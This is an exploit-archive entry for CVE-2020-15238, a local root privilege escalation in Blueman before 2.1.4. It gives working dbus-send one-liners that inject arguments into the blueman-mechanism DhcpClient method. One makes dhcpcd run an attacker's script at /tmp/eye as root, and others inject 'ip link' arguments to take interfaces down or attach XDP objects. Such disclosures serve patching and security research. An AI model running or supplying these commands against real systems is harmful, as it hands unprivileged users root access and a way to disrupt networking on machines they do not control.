Blueman Local Root / Privilege Escalation

2020.10.29

Credit: Vaisha Bernard

Risk: High

Local: Yes

Remote: No

CVE: CVE-2020-15238

CWE: CWE-264

# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
#
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
#
# The DhcpClient method of the d-bus interface to blueman-mechanism
# is prone to an argument injection vulnerability.
# On systems where the isc-dhcp-client package is removed
# and the dhcpcd package installed, this leads to Local
# Privilege Escalation to root from any unprivileged user.
# See attached python script for a working exploit. Or use
# this oneliner with a shellscript "/tmp/eye":
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"
# This happens because the argument is not sanitized before
# being used as an argument to dhcpcd.
#
# Also on default installations with isc-dhcp-client installed,
# this can lead to DoS attacks by bringing any interface down
# as follows:
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
# Or allows users to attach XDP objects to an interface:
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"
# This both happens because the argument is passed to "ip link"
# unsanitized.

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